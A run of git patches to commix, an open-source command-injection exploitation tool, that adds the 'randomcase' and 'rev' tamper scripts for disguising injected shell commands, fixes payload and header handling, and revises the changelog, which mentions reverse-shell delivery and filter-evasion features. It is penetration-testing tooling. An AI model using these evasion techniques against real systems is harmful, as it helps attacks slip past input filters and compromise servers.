_ = "$(echo \"" + _[::-1] + "\"|rev" + ")" + if settings.USER_APPLIED_CMD in settings.RAW_PAYLOAD: + if settings.USE_BACKTICKS: + random_case_cmd = "\\`echo " + _ + "|tr \"[A-Z]\" \"[a-z]\"\\`" + else: + random_case_cmd = "$(echo " + _ + "|tr \"[A-Z]\" \"[a-z]\")" + payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, random_case_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + return payload + +# eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index ba2972f9ee..70e1e4da4b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1119,6 +1119,7 @@ class AUTH_TYPE(object): "uninitializedvariable": False, "slash2env": False, "backticks": False, + "randomcase": False, "rev": False } @@ -1138,6 +1139,7 @@ class AUTH_TYPE(object): "printf2echo", "space2ifs", "uninitializedvariable", + "randomcase", "rev" ] From 2ca977a375af6b8da1e21be3d06a28a675c4ac45 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 25 Mar 2025 11:48:38 +0200 Subject: [PATCH 540/560] Minor revisions to CHANGELOG.md content --- doc/CHANGELOG.md | 20 ++++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 31da34fd27..64ce48d412 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -57,7 +57,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. * Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). -* Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for \*nix targets). +* Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands. * Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s). * Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag). * Fixed: Minor bug-fix regarding setting custom output directory path (i.e. `--output-dir` option). @@ -136,7 +136,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Removed: The "Regsvr32.exe application whitelisting bypass" attack vector has been removed. * Updated: Minor update regarding web delivery script (i.e. Python meterpreter reverse TCP shell). * Replaced: The `--backticks` switch has been replaced with "backticks.py" tamper script. -* Added: New tamper script "backticks.py" that uses backticks instead of `$()`, for commands substitution (for \*nix targets). +* Added: New tamper script "backticks.py" that uses backticks instead of `$()`, for commands substitution. * Added: New option ( `--skip-heuristic`) for skipping dynamic code evaluation heuristic check. * Added: Support for parsing custom wordlists regarding HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker. * Revised: Improvements regarding dynamic code evaluation heuristic check. @@ -149,10 +149,10 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 3.2 (2021-04-12) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. -* Added: New tamper script "slash2env.py" that replaces slashes (`/`) with environment variable value `${PATH%%u*}` (for \*nix targets). +* Added: New tamper script "slash2env.py" that replaces slashes (`/`) with environment variable value `${PATH%%u*}`. * Revised: Minor improvement regarding session handler for supporting Python 3.4+. * Revised: Minor improvement regarding `--web-root` option. -* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads (for \*nix targets). +* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Improvement regarding decompressing `deflate`, `x-gzip` and `gzip` HTTP responses. * Fixed: Bug-fix regarding several charset-related unhandled exceptions. * Revised: Improvements regarding dynamic code evaluation heuristic check. @@ -185,7 +185,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Fixed: Bug-fix regarding defining custom injection marker (i.e. asterisk `*`) in nested JSON objects. * Revised: Minor improvement regarding Flatten_json (third party) module. * Revised: Minor improvement regarding parsing nested JSON objects. -* Added: New tamper script "doublequotes.py" that adds double-quotes (`""`) between the characters of the generated payloads (for \*nix targets). +* Added: New tamper script "doublequotes.py" that adds double-quotes (`""`) between the characters of the generated payloads. * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Revised: Improvements regarding data in the detailed message about occurred unhandled exception. * Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker. @@ -284,10 +284,10 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: Support regarding checking for potential CAPTCHA protection mechanism. * Revised: The separators list, has been shortly revised. * Revised: Minor improvement regarding the extracted HTTP response headers. -* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads (for \*nix targets). +* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads. * Fixed: Minor bug-fix regarding performing injections through HTTP Headers (e.g. User-Agent, Referer, Host etc). * Fixed: Major bug-fixes regarding testing time-related payloads (i.e. "time-based", "tempfile-based"). -* Added: New tamper script "backslashes.py" that adds back slashes (`\`) between the characters of the generated payloads (for \*nix targets). +* Added: New tamper script "backslashes.py" that adds back slashes (`\`) between the characters of the generated payloads. * Fixed: Minor bug-fix regarding unicode decode exception error due to invalid codec, during connection on target host. * Revised: Improvement regarding combining tamper script "multiplespaces.py" with other space-related tamper script(s). * Added: New tamper script "multiplespaces.py" that adds multiple spaces around OS commands. @@ -300,8 +300,8 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Updated: Colorama (third party) module has been updated. * Revised: Minor improvement regarding keeping the git folder 'clean' (via @g0tmi1k). * Fixed: Minor bug-fix regarding loading multiple tamper scripts (during the exploitation phase). -* Added: New tamper script "caret.py" that adds the caret symbol (`^`) between the characters of the generated payloads (for windows targets). -* Added: New tamper script "singlequotes.py" that adds single quotes (`'`) between the characters of the generated payloads (for \*nix targets). +* Added: New tamper script "caret.py" that adds the caret symbol (`^`) between the characters of the generated payloads. +* Added: New tamper script "singlequotes.py" that adds single quotes (`'`) between the characters of the generated payloads. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.3-20180307...v2.4-20180521)._ @@ -343,7 +343,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: New option `--check-internet` that checks internet connection before assessing the target. * Fixed: Minor bug-fix regarding performing injections through HTTP Headers (i.e. Cookie, User-Agent, Referer). * Revised: Minor improvement regarding checking stored payloads and enabling appropriate tamper scripts during the exploitation phase. -* Added: New tamper script "space2vtab.py" that replaces every space (`%20`) with vertical tab (`%0b`) (for Windows targets). +* Added: New tamper script "space2vtab.py" that replaces every space (`%20`) with vertical tab (`%0b`). * Replaced: The tamper script "space2tab.py" has been replaced with "space2htab.py". * Fixed: Minor bug-fix regarding checking for similarity in provided parameter name and value (GET, POST). * Added: New option `--backticks` that uses backticks instead of `$()`, for commands substitution. diff --git a/src/utils/settings.py b/src/utils/settings.py index 70e1e4da4b..7ef9bdeec6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7f82a22a50cd45c61aed5a5d18f13ac8728794cf Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 30 Mar 2025 09:44:17 +0300 Subject: [PATCH 541/560] Minor update regarding adding error handling for whitespace replacement --- src/core/injections/controller/checks.py | 7 +++++-- src/core/injections/controller/controller.py | 2 +- src/core/tamper/randomcase.py | 7 ++++++- src/core/tamper/rev.py | 7 ++++++- src/utils/settings.py | 2 +- 5 files changed, 19 insertions(+), 6 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index df08e617d0..0ceea2ba0d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1841,8 +1841,11 @@ def check_for_stored_tamper(payload): Perform payload modification """ def perform_payload_modification(payload): - settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE) - + try: + settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE) + except IndexError: + settings.RAW_PAYLOAD = payload + for extra_http_headers in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): if extra_http_headers == "xforwardedfor": from src.core.tamper import xforwardedfor diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 486cfbb702..e336c32295 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -678,7 +678,7 @@ def headers_checks(url, http_request_method, filename, timesec): def perform_checks(url, http_request_method, filename): # Initiate whitespaces if settings.MULTI_TARGETS or settings.STDIN_PARSING and len(settings.WHITESPACES) > 1: - settings.WHITESPACES = ["%20"] + settings.WHITESPACES = [_urllib.parse.quote(SINGLE_WHITESPACE)] timesec = settings.TIMESEC # Check if authentication is needed. diff --git a/src/core/tamper/randomcase.py b/src/core/tamper/randomcase.py index 77c6c286b7..9e7e130180 100644 --- a/src/core/tamper/randomcase.py +++ b/src/core/tamper/randomcase.py @@ -39,7 +39,12 @@ def tamper(payload): random_case_cmd = "\\`echo " + _ + "|tr \"[A-Z]\" \"[a-z]\"\\`" else: random_case_cmd = "$(echo " + _ + "|tr \"[A-Z]\" \"[a-z]\")" - payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, random_case_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, random_case_cmd) + if len(settings.WHITESPACES) != 0: + try: + payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + except: + pass return payload # eof \ No newline at end of file diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index 2229973513..6fe2d5fc78 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -34,7 +34,12 @@ def tamper(payload): rev_cmd = "\\`echo " + settings.USER_APPLIED_CMD[::-1] + "|rev\\`" else: rev_cmd = "$(echo " + settings.USER_APPLIED_CMD[::-1] + "|rev)" - payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, rev_cmd) + if len(settings.WHITESPACES) != 0: + try: + payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + except: + pass return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 7ef9bdeec6..9ceb8d17a7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 947878c7110e2af79c4a5edf133c563485b261e3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 2 Apr 2025 07:25:11 +0300 Subject: [PATCH 542/560] Fix related to https://github.com/commixproject/commix/issues/997 --- src/core/injections/controller/checks.py | 2 +- src/utils/crawler.py | 2 +- src/utils/logs.py | 4 ++-- src/utils/settings.py | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0ceea2ba0d..be9a9492ca 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2485,7 +2485,7 @@ def print_single_os_cmd(cmd, output, filename): try: with open(filename, 'a') as output_file: if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "User-supplied command " + _ + ": " + output.encode(settings.DEFAULT_CODEC).decode() + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "User-supplied command " + _ + ": " + str(output.encode(settings.DEFAULT_CODEC).decode()) + "\n") except TypeError: pass else: diff --git a/src/utils/crawler.py b/src/utils/crawler.py index bbb169a941..270f00d507 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -113,7 +113,7 @@ def store_crawling(output_href): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) with open(filename, "a") as crawling_results: for url in output_href: - crawling_results.write(url.encode(settings.DEFAULT_CODEC).decode() + "\n") + crawling_results.write(str(url.encode(settings.DEFAULT_CODEC).decode()) + "\n") return elif message in settings.CHOICE_NO: return diff --git a/src/utils/logs.py b/src/utils/logs.py index 13d4c82597..02fcf41b65 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -174,8 +174,8 @@ def executed_command(filename, cmd, output): with open(filename, 'a') as output_file: if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output.encode(settings.DEFAULT_CODEC).decode() + "\n") - except TypeError: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + str(output.encode(settings.DEFAULT_CODEC).decode()) + "\n") + except: pass """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 9ceb8d17a7..4c20cc46de 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a7fa812f77eaf3661c9c551510a950e502f70973 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 7 Apr 2025 08:33:43 +0300 Subject: [PATCH 543/560] Fixes https://github.com/commixproject/commix/issues/1000 --- src/core/injections/controller/controller.py | 14 +------------- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 14 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index e336c32295..55b495cdfb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -109,29 +109,17 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: payload = checks.payload_fixation(payload) cookie = checks.process_injectable_value(payload, menu.options.cookie).encode(settings.DEFAULT_CODEC) - # if settings.TESTABLE_VALUE in menu.options.cookie.replace(settings.INJECT_TAG, ""): - # cookie = menu.options.cookie.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).encode(settings.DEFAULT_CODEC) - # else: - # cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: cookie = checks.remove_tags(menu.options.cookie).encode(settings.DEFAULT_CODEC) if not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: data = checks.process_injectable_value(payload, menu.options.data).encode(settings.DEFAULT_CODEC) - # if settings.TESTABLE_VALUE in menu.options.data.replace(settings.INJECT_TAG, ""): - # data = menu.options.data.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).encode(settings.DEFAULT_CODEC) - # else: - # data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.USER_DEFINED_POST_DATA: settings.USER_DEFINED_POST_DATA = checks.remove_tags(settings.USER_DEFINED_POST_DATA) data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) if settings.INJECT_TAG in url: tmp_url = checks.process_injectable_value(payload, url) - # if settings.TESTABLE_VALUE in url.replace(settings.INJECT_TAG, ""): - # tmp_url = url.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload) - # else: - # tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) else: tmp_url = checks.remove_tags(tmp_url) url = checks.remove_tags(url) @@ -140,7 +128,7 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites if cookie: request.add_header(settings.COOKIE, cookie) if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): - settings.CUSTOM_HEADER_NAME = check_parameter + settings.CUSTOM_HEADER_NAME = check_parameter.title() if settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "") in settings.CUSTOM_HEADER_VALUE: request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload).encode(settings.DEFAULT_CODEC)) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 4c20cc46de..07ad1e438f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ead94398f1f114fd6412bdd0924c913aae1ecca5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 13 Apr 2025 11:55:21 +0300 Subject: [PATCH 544/560] Update regarding safely handling split for PRE/POST injection markers --- src/core/requests/parameters.py | 32 ++++++++++++++++++++------------ src/utils/settings.py | 2 +- 2 files changed, 21 insertions(+), 13 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index d7e2fdabed..47d1ce4ff7 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -743,9 +743,11 @@ def specify_user_agent_parameter(user_agent): if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(user_agent) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] - except AttributeError: + # Safely handle the split to avoid IndexError + split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' + except (AttributeError, IndexError): pass return user_agent @@ -759,9 +761,11 @@ def specify_referer_parameter(referer): if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(referer) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] - except AttributeError: + # Safely handle the split to avoid IndexError + split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' + except (AttributeError, IndexError): pass return referer @@ -775,9 +779,11 @@ def specify_host_parameter(host): if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(host) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] - except AttributeError: + # Safely handle the split to avoid IndexError + split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' + except (AttributeError, IndexError): pass return host @@ -790,9 +796,11 @@ def specify_custom_header_parameter(header_name): if settings.CUSTOM_INJECTION_MARKER: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[1] - except AttributeError: + # Safely handle the split to avoid IndexError + split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' + except (AttributeError, IndexError): pass return header_name diff --git a/src/utils/settings.py b/src/utils/settings.py index 07ad1e438f..a7a6b86adb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From cbaf4c3c350575349ae1484470dfc36193e34137 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 23 Apr 2025 09:38:16 +0300 Subject: [PATCH 545/560] Fixes https://github.com/commixproject/commix/issues/1001 --- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/handler.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index be9a9492ca..0968a5318c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2999,7 +2999,7 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met """ Check if to use the "/tmp/" directory for tempfile-based technique. """ -def use_temp_folder(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): +def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) settings.print_data_to_stdout(settings.END_LINE.CR) message = "It seems that you don't have permissions to " diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index a0b29f94ea..bd7168bd75 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -583,7 +583,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec continue else: raise - checks.use_temp_folder(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) + checks.use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response) else: if checks.finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): continue diff --git a/src/utils/settings.py b/src/utils/settings.py index a7a6b86adb..07c85a4b22 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f41ef7af26a5adf2bebd58905da41eddc85aafc1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 30 Apr 2025 07:30:39 +0300 Subject: [PATCH 546/560] Fixes https://github.com/commixproject/commix/issues/1004 --- doc/CHANGELOG.md | 1 + src/core/requests/parameters.py | 4 ++++ src/utils/settings.py | 2 +- 3 files changed, 6 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 64ce48d412..06616d6baf 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Fixed: Minor bug-fix regarding parsing empty or invalid JSON object. * Added: New tamper script "randomcase.py" that replaces each character in a user-supplied OS command with a random case. * Revised: Minor code refactoring regarding multiple tamper scripts. * Revised: Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based"). diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 47d1ce4ff7..c18d9a0f88 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -223,6 +223,10 @@ def do_POST_check(parameter, http_request_method): Grab the value of parameter. """ def multi_params_get_value(param, all_params): + + if len(all_params) == 0 or (len(all_params) == 1 and (all_params[0] == "{}" or json.loads(all_params[0]) == {})): + checks.no_parameters_found() + if settings.IS_JSON: value = re.findall(r'\:(.*)', all_params[param]) if not value: diff --git a/src/utils/settings.py b/src/utils/settings.py index 07c85a4b22..a83d1926da 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3e7e9666ee042ab42a542d476a1925a240234abe Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 6 May 2025 07:38:24 +0300 Subject: [PATCH 547/560] Fixes https://github.com/commixproject/commix/issues/1007 --- src/core/injections/controller/handler.py | 4 +++- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index bd7168bd75..265bda79b3 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -647,8 +647,10 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec else: whitespace = settings.WHITESPACES[0] cmd = maxlen = "" + if not 'url_time_response' in locals(): + url_time_response = "" if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: - OUTPUT_TEXTFILE = url_time_response = "" + OUTPUT_TEXTFILE = "" # Check for any enumeration options. enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) # Check for any system file access options. diff --git a/src/utils/settings.py b/src/utils/settings.py index a83d1926da..81b978f7fa 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8a673bff06b078b6689b5f8b810510564988bf74 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 12 May 2025 08:54:30 +0300 Subject: [PATCH 548/560] Fixes https://github.com/commixproject/commix/issues/1006 --- doc/CHANGELOG.md | 3 ++- src/core/injections/controller/checks.py | 25 +++++++++++++----------- src/utils/settings.py | 2 +- 3 files changed, 17 insertions(+), 13 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 06616d6baf..108970442a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,5 +1,6 @@ ## Version 4.1 (TBA) -* Fixed: Minor bug-fix regarding parsing empty or invalid JSON object. +* Fixed: Minor bug-fix in parsing improperly escaped characters in JSON objects. +* Fixed: Minor bug-fix in parsing empty or invalid JSON object. * Added: New tamper script "randomcase.py" that replaces each character in a user-supplied OS command with a random case. * Revised: Minor 